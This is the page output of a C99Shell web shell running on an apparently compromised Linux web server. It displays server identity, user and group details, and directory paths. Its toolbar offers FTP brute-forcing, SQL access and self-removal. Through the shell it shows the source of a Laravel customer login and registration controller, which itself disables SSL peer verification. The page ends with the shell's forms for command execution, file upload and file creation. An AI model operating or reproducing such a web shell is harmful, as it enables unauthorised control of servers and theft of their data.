!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/app/Http/Controllers/Auth/   drwxr-xr-x
Free 25.29 GB of 117.98 GB (21.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerLoginController.php (11.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Auth;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\Customer;
use 
App\Models\Domain;
use 
App\Models\EmailTemplate;
use 
App\Models\Label;
use 
App\Models\Number;
use 
App\Models\Plan;
use 
App\Models\Settings;
use 
App\Models\User;
use 
App\Models\VerifyCustomer;
use 
App\Models\Wallet;
use 
Carbon\Carbon;
use 
foo\bar;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Mail;
use 
Illuminate\Support\Facades\URL;
use 
Illuminate\Support\Str;
use 
Illuminate\Support\Facades\Validator;

class 
CustomerLoginController extends Controller
{
    public function 
index()
    {
        
$data['registration_status'] = get_settings('registration_status');
        return 
view('auth.login',$data);
    }

    public function 
authenticate(Request $request)
    {
        
$credentials['email'] = trim($request->email);
        
$credentials['password'] = trim($request->password);
        
$credentials['status'] = 'active';

        if(
get_settings('recaptcha_key', isset($domain->cutomer_id)?$domain->cutomer_id:'') && isset(json_decode(get_settings('recaptcha_key', isset($domain->cutomer_id)?$domain->cutomer_id:''))->recaptcha_secret_key)) {
            
$data = array(
                
'secret' => json_decode(get_settings('recaptcha_key'))->recaptcha_secret_key,
                
'response' => $request->grecaptcha_response,
            );
            
$verify curl_init();
            
curl_setopt($verifyCURLOPT_URL"https://www.google.com/recaptcha/api/siteverify");
            
curl_setopt($verifyCURLOPT_POSTtrue);
            
curl_setopt($verifyCURLOPT_POSTFIELDShttp_build_query($data));
            
curl_setopt($verifyCURLOPT_SSL_VERIFYPEERfalse);
            
curl_setopt($verifyCURLOPT_RETURNTRANSFERtrue);
            
$res curl_exec($verify);

            
$captcha json_decode($res);
            if (
$captcha->success == false) {
                return 
redirect()->back()->withErrors(['failed'=>'Invalid Captcha, You are a freakin robot!'])->withInput();
            }
        }

        
$customer Customer::where(['email' => $credentials['email']])->first();

        if (isset(
$customer) && \Hash::check($credentials['password'], $customer->password)) {
            if(!
$customer->email_verified_at) return back()->withErrors(['msg'=>'Please verify your email address.']);

            if (
$customer && $customer->status != 'Active') return back()->withErrors(['msg' => 'Account temporary blocked. Contact with administrator']);

        }


        
$remember_me $request->has('remember_me') ? true false;
        if (
Auth::guard('customer')->attempt($credentials$remember_me)) {
            return 
redirect()->route('customer.smsbox.overview');
        }
        return 
back()->withErrors(['msg' => 'Invalid email or password. Please try again.']);
    }

    public function 
logout()
    {
        
auth('customer')->logout();
        return 
redirect()->route('login');
    }

    public function 
sign_up()
    {
        return 
view('auth.registration');
    }

    public function 
sign_up_create(Request $request)
    {
        
DB::beginTransaction();
        try {
            if (
get_settings('registration_status') != 'enable') {
                
abort(404);
            }
            
$validator Validator::make($request->all(), [
                
'first_name' => 'required',
                
'last_name' => 'required',
                
'email' => 'required|email|unique:customers',
                
'password' => 'required|min:6',
            ]);
            if (
$validator->fails()) {
                
$errors=[];
                foreach(
$validator->errors()->messages() as $err){
                    
$errors[]=isset($err[0])?$err[0]:'';
                }
                return 
back()->withErrors(['failed'=>$errors]);
            }
            
$admin User::first();

            
$host $request->getHost();
            
$domain Domain::where('host'$host)->where('status''approved')->first();
            if (
get_settings('recaptcha_key', isset($domain->cutomer_id) ? $domain->cutomer_id '') && isset(json_decode(get_settings('recaptcha_key', isset($domain->cutomer_id) ? $domain->cutomer_id ''))->recaptcha_secret_key)) {
                
$data = array(
                    
'secret' => json_decode(get_settings('recaptcha_key'))->recaptcha_secret_key,
                    
'response' => $request->grecaptcha_response,
                );
                
$verify curl_init();
                
curl_setopt($verifyCURLOPT_URL"https://www.google.com/recaptcha/api/siteverify");
                
curl_setopt($verifyCURLOPT_POSTtrue);
                
curl_setopt($verifyCURLOPT_POSTFIELDShttp_build_query($data));
                
curl_setopt($verifyCURLOPT_SSL_VERIFYPEERfalse);
                
curl_setopt($verifyCURLOPT_RETURNTRANSFERtrue);
                
$res curl_exec($verify);

                
$captcha json_decode($res);
                if (
$captcha->success == false) {
                    return 
redirect()->back()->withErrors(['failed' => 'Invalid Captcha, You are a freakin robot!'])->withInput();
                }
            }
            if (
$domain) {
                
$customer Customer::find($domain->customer_id);
            }

            
$plan Plan::where('id'$request->plan_id)->first();
            if (!
$plan) {
                return 
redirect()->back()->withErrors(['failed' => 'Please choose a plan and try again']);
            }
            
$request['type'] = $plan->plan_type;
//            }

            
$request['status'] = 'inactive';
            if (isset(
$customer)) {
                
$request['admin_id'] = $customer->id;
                
$request['added_by'] = $customer->type;
                
$newCustomer $customer->customers()->create($request->all());
            } else {
                
$request['admin_id'] = $admin->id;
                
$request['added_by'] = 'admin';
                
$newCustomer $admin->customers()->create($request->all());
            }

//        Customer Label
            
$label = new Label();
            
$label->title 'new';
            
$label->customer_id $newCustomer->id;
            
$label->color 'red';
            
$label->status 'active';
            
$label->save();


            
//TODO:: sent a mail here for confirmation mail

            
$token Str::random(32);
            
$verify = new VerifyCustomer();
            
$verify->customer_id $newCustomer->id;
            
$verify->token $token;
            
$verify->save();

            
$wallet = new Wallet();
            
$wallet->customer_id $newCustomer->id;
            
$wallet->masking_credit 0;
            
$wallet->non_masking_credit 0;
            
$wallet->status 'approved';
            
$wallet->save();

            
$number Number::where('is_default''yes')->first();
            if (
$number) {
                
$time Carbon::now()->addMonths(1);
                
$newCustomer->numbers()->create(['number_id' => $number->id'number' => $number->number'expire_date' => $time'cost' => $number->sell_price]);
            }


            if (
$customer) {
                
$mailSett $customer->settings()->where('name''smtp_setting')->first();
                
$mailSett = isset($mailSett->value) ? json_decode($mailSett->value) : '';
                
$config = array(
                    
'driver' => 'smtp',
                    
'host' => $mailSett->host,
                    
'port' => $mailSett->port,
                    
'from' => array('address' => $mailSett->from'name' => $mailSett->name),
                    
'encryption' => $mailSett->encryption,
                    
'username' => $mailSett->username,
                    
'password' => $mailSett->password,
                );
                
$emailTemplate EmailTemplate::where('added_by'$customer->type)->where('type''registration')->where('user_id'$customer->id)->first();
                if (
$emailTemplate) {
                    
$route route('customer.verify.view', ['customer' => $newCustomer->id'token' => $token]);
                    
$regTemp str_replace('{customer_name}'$newCustomer->first_name ' ' $newCustomer->last_name$emailTemplate->body);
                    
$regTemp str_replace('{click_here}'"<a href=" $route ">" trans('admin.click_here') . "</a>"$regTemp);
                    
SendMail::dispatch($newCustomer->email$emailTemplate->subject$regTemp$config);
                }
            } else {
                
$emailTemplate get_email_template('registration');
                
$mailHost get_settings('mail_host');
                
$mailUsername get_settings('mail_username');
                if (!
$mailHost || !$mailUsername) {
                    throw new 
\Exception("You can not sign-up at this moment, Try again after sometimes later");
                }
                if (
$emailTemplate) {
                    
$route route('customer.verify.view', ['customer' => $newCustomer->id'token' => $token]);
                    
$regTemp str_replace('{customer_name}'$newCustomer->first_name ' ' $newCustomer->last_name$emailTemplate->body);
                    
$regTemp str_replace('{click_here}'"<a href=" $route ">" trans('admin.click_here') . "</a>"$regTemp);
                    
SendMail::dispatch($newCustomer->email$emailTemplate->subject$regTemp);
                }
            }

            if (
$request->plan_id && \Module::has('PaymentGateway') && \Module::find('PaymentGateway')->isEnabled()) {
                
auth('customer')->login($newCustomer);
                
$data['plan'] = Plan::where('id'$request->plan_id)->firstOrFail();
                
DB::commit();
                return 
view('customer.demo_view'$data)->with('success'trans('layout.message.registration_success'));
            }else if(
$domain){
                
$planReq = new BillingRequest();
                
$planReq->admin_id $plan->admin_id;
                
$planReq->customer_id $newCustomer->id;
                
$planReq->plan_id $plan->id;
                
$planReq->other_info json_encode($request->only('payment_type'));
                
$planReq->save();
                
DB::commit();
            }else{
                
DB::commit();
            }

            return 
redirect()->route('login')->with('success''Congratulations !! An email has been sent to your mail address');
        } catch (
\Exception $ex) {
            
Log::error($ex);
            
DB::rollBack();
            return 
back()->withErrors(['failed'=>$ex->getMessage()]);
        }
    }

    public function 
verifyView(Request $request){
        
$customer=$request->customer;
        
$data['customer'] = Customer::find($customer);

        return 
view('mail.verify_customer',$data);
    }

    public function 
verify(Request $request)
    {
        
$customer $request->customer;
        
$token $request->token;

        
$customer Customer::find($customer);

        if (!
$customer) return redirect()->route('login')->with('fail''Invalid token or token has been expired');

        
$verify VerifyCustomer::where(['customer_id' => $customer->id'token' => $token'status' => 'pending'])->first();

        if (!
$verify) return redirect()->route('login')->with('fail''Invalid token or token has been expired.');

        
$customer->status 'active';
        
$customer->email_verified_at now();
        
$customer->save();

        
$verify->delete();

        return 
redirect()->route('login')->with('success''Email successfully verified');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--